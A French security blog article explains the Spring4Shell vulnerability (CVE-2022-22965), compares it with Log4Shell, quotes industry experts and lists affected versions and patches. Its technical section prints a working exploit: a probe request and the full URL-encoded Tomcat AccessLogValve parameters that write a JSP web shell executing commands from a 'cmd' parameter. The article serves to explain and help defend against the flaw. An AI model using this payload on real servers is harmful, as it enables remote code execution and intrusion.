• Perspective
Publié le 8 avril 2022

Spring4Shell : peut-on parler d'un second Log4Shell ?

Le 29 mars 2022, des experts en cybersécurité ont publié des détails sur une nouvelle vulnérabilité d’exécution de code à distance (RCE) affectant le Framework Spring Core (officiellement confirmée depuis comme CVE-2022-22965).

Spring Core est un Framework open-source intégré au serveur Apache Tomcat qui fournit des outils et utilitaires pour les applications d’entreprise basées sur Java. Il est omniprésent en entreprise du fait de sa capacité à réduire la quantité d’efforts nécessaires pour produire une application Web Java fonctionnelle.

L’impact d’une RCE sur ce Framework pourrait donc être similaire à la vulnérabilité Log4Shell. Le jour même, des extraits de PoC (proof-of-concept) ont commencé à apparaitre rapidement sur Twitter, mais ont tous été retirés au bout de quelques minutes.

Dans un article de blog publié le 31 mars, Rossen Stoyanchev de Spring a confirmé que la vulnérabilité de type "zero-day" dans le Framework Spring avait été divulguée avant la publication de la CVE par les chercheurs de AntGroup FG. L’équipe avait l’intention de publier les correctifs d’urgence pour le bug le jeudi 31 mars, cependant les détails du bug ont été divulgués en ligne le mercredi.

Comment fonctionne la vulnérabilité Spring4Shell

Spring4Shell est un bug dans le Framework Spring Core. Ce bug en question permet à un attaquant non authentifié d'exécuter du code arbitraire sur un système vulnérable.

Plusieurs PoCs de la vulnérabilité Spring4Shell sont déjà disponibles. La plupart d'entre eux sont inspirés de ce dépôt GitHub.

L'exploit repose sur une requête HTTP spécialement conçue qui abuse de la façon dont l'interface RequestMapping de Spring interprète et analyse les paramètres des requêtes web. Cette interface fait correspondre les requêtes web entrantes avec les méthodes appropriées afin de les traiter.

La vulnérabilité de Spring4Shell réside dans le mécanisme de filtrage des données fournies par l'utilisateur de l'interface RequestMapping. Les attaques exploitant Spring4Shell fournissent une charge utile en utilisant Module.getClassLoader(). Cela permet à un attaquant de charger une classe malveillante arbitraire que le serveur doit analyser. Les versions vulnérables de Spring ne filtraient pas ce chemin d'attaque, ce qui conduit à l'exploit.

Bien que le code de Spring Core contienne une certaine logique pour empêcher d’accéder aux propriétés enfant de la variable de classe, cette logique n'est pas infaillible.

Le fait que la classe soit accessible et puisse être « set » depuis les paramètres de la requête permet de parcourir les propriétés de la classe avec notre paramètre de requête. Cela donne également la possibilité de localiser un champ dans lequel il est possible d’écrire et qui pourra être exécuté par le programme. Par exemple, dans Apache Tomcat, un attaquant pourrait accéder à un objet AccessLogValve à partir de la variable class de cette façon :

curl 'http://localhost:8080/spring4shell?class.module.classLoader.resources.context.parent.pipeline.first.pattern=test'

Une façon courante d'exploiter cet accès est de rediriger le journal d'accès pour écrire un Shell web dans le dossier racine de l’application en manipulant différentes propriétés de l'objet AccessLogValve, notamment le motif, le suffixe, le répertoire et le préfixe.

Des requêtes ultérieures pourraient être émises en remplaçant la valeur « test » par la charge utile, ce qui aura pour effet de définir les propriétés de journalisation Tomcat suivantes :

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

Un fichier sera créé sous « webwapps/ROOT/shell.jsp » et contiendra le payload contenu dans la première requête émise ci-dessus.

Ce fichier sera utilisé pour formater les journaux du serveur, une commande arbitraire pourra ensuite être passée en utilisant le paramètre de requête cmd :

Il est important de noter que les tests présentés ici fonctionnent uniquement sur un serveur Apache Tomcat, puisque les propriétés de journalisation ci-dessus n’existent pas sur un serveur différent.

Spring4Shell vs Log4Shell

Bien que beaucoup de similitudes soient établies entre Log4j et les problèmes de Spring, un attaquant devra déployer des efforts supplémentaires pour exploiter la vulnérabilité, la faiblesse dépendant beaucoup de la configuration de l’application Java.

Selon le co-fondateur de Digital Shadows James Chappell : "Dans le cas de Log4j - c'est l'omniprésence de la bibliothèque de journalisation qui a fait que les équipes de sécurité ont dû se démener pour défendre les systèmes et services vulnérables avant que la faiblesse ne soit largement exploitée".

"Il faudrait que suffisamment de serveurs web et d'hôtes présentent l'ensemble spécifique de configurations qui les rendraient largement exploitables. À l'heure actuelle, il semble que ce n'est pas aussi largement disponible que Log4j qui était presque universellement exploitable sur tous les systèmes. Cela dit, la bibliothèque Spring Core est souvent utilisée dans les serveurs web les plus courants, ce qui laisse entrevoir la possibilité d'un impact significatif, mais pas à la même échelle que Log4j."

Si, dans un premier temps, beaucoup ont minimisé le problème et se sont interrogés sur son importance, d'autres l'ont rapidement comparé à la vulnérabilité généralisée Log4Shell qui a suscité une inquiétude mondiale en décembre et janvier, surnommant la dernière vulnérabilité "Spring4Shell" ou "SpringShell".

David Lindner, CISO chez Contrast Security, a déclaré que "l'équipe de Contrast Labs a prouvé l'existence d'un exploit dû à la façon dont une application Spring gère la liaison, et nous pensons que cela pourrait avoir un impact plus important que Log4j.", a déclaré Lindner.

Il ajoute que l'artefact Spring Core est largement utilisé dans 74 % des applications Java et que son équipe a constaté une augmentation de 20x des attaques ciblant le ClassLoader Java depuis le mercredi 30 mars, correspondant à l'inévitable vague d'attaques menées par les pirates qui tentent d'exploiter cette nouvelle vulnérabilité :

Source: Contrast Labs

Sa proximité avec Log4Shell permet également d'avoir un aperçu de son évolution future. Par exemple, des données montrent que plus de 40% des téléchargements de Log4j sont encore des versions vulnérables plus de quatre mois après la découverte de la CVE-2021-44228.

John Bambenek, de Netenrich, a déclaré que ce qui a fait de Log4j un tel problème est qu'il est souvent installé sur des appareils et autres dispositifs "sans tête" qui ne sont pas entretenus par le client final.

"On ne sait pas si cela sera vrai pour Spring, mais tout problème de RCE devrait aller directement en haut de la pile pour les équipes de sécurité à traiter", a-t-il expliqué

Toutes les applications sont-elles vulnérables ?

Pour qu'une application soit vulnérable à Spring4Shell, elle doit remplir plusieurs conditions, comme indiqué dans l'avis de Spring :

  • utiliser le JDK 9 ou supérieur ;
  • utiliser Apache Tomcat comme conteneur de servlets (Un ou une servlet est une classe Java qui permet de créer dynamiquement des données au sein d'un serveur HTTP) ;
  • être empaquetée sous la forme d'un WAR traditionnel (par opposition à un jar exécutable Spring Boot) ;
  • utiliser la dépendance spring-webmvc ou spring-webflux ;
  • utiliser les versions 5.3.0 à 5.3.17, 5.2.0 à 5.2.19 ou des versions antérieures du framework Spring.

Un patch est-il disponible pour Spring4Shell ?

Spring a maintenant publié Spring Framework 5.3.18 et 5.2.20, qui corrigent la vulnérabilité. Spring Boot 2.6.6 et 2.5.12 qui dépendent de Spring Framework 5.3.18 ont également été publiés. Des étapes de remédiation temporaires ont également été publiées par les chercheurs de Praetorian avant la publication des mises à jour. Spring a également publié des suggestions de solutions de contournement sur son blog.

Un rapport CVE pour la vulnérabilité a également été publié et a reçu la désignation CVE-2022-22965, et a été évalué comme étant de "haute gravité".

La vulnérabilité Spring4Shell étant une vulnérabilité avec un fort impact et une exploitation simple sur les environnements utilisant une version de Spring vulnérable, il est essentiel de mettre à jour au plus vite les applications Java utilisant ce Framework en production pour s’en protéger.

Auteur : Timon Rose

Références

https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement#disqus_thread

https://github.com/TheGejr/SpringShell

http://blog.o0o.nu/2010/06/cve-2010-1622.html

https://github.com/tweedge/springcore-0day-en

https://twitter.com/th3_protoCOL/status/1509345839134609408

https://spring.io/guides/gs/handling-form-submission/

https://fr.sonatype.com/resources/log4j-vulnerability-resource-center

https://therecord.media/spring-confirms-spring4shell-zero-day-releases-patched-update/

https://www.datadoghq.com/blog/spring4shell-vulnerability-overview-and-remediation/

https://www.lunasec.io/docs/blog/spring-rce-vulnerabilities/

https://www.extrahop.com/company/blog/2022/a-technical-analysis-of-how-spring4shell-works/?uniqueid=MT07534589&utm_source=youtube&utm_medium=owned-social&utm_campaign=2022-q1-technical-analysis-how-spring4shell-works&utm_content=blog&utm_term=no-term&utm_region=global&utm_product=security&utm_funnelstage=top&utm_version=no-version

https://www.youtube.com/watch?v=gGTsHYQqr7Y

Article rédigé par
La Minute Cyber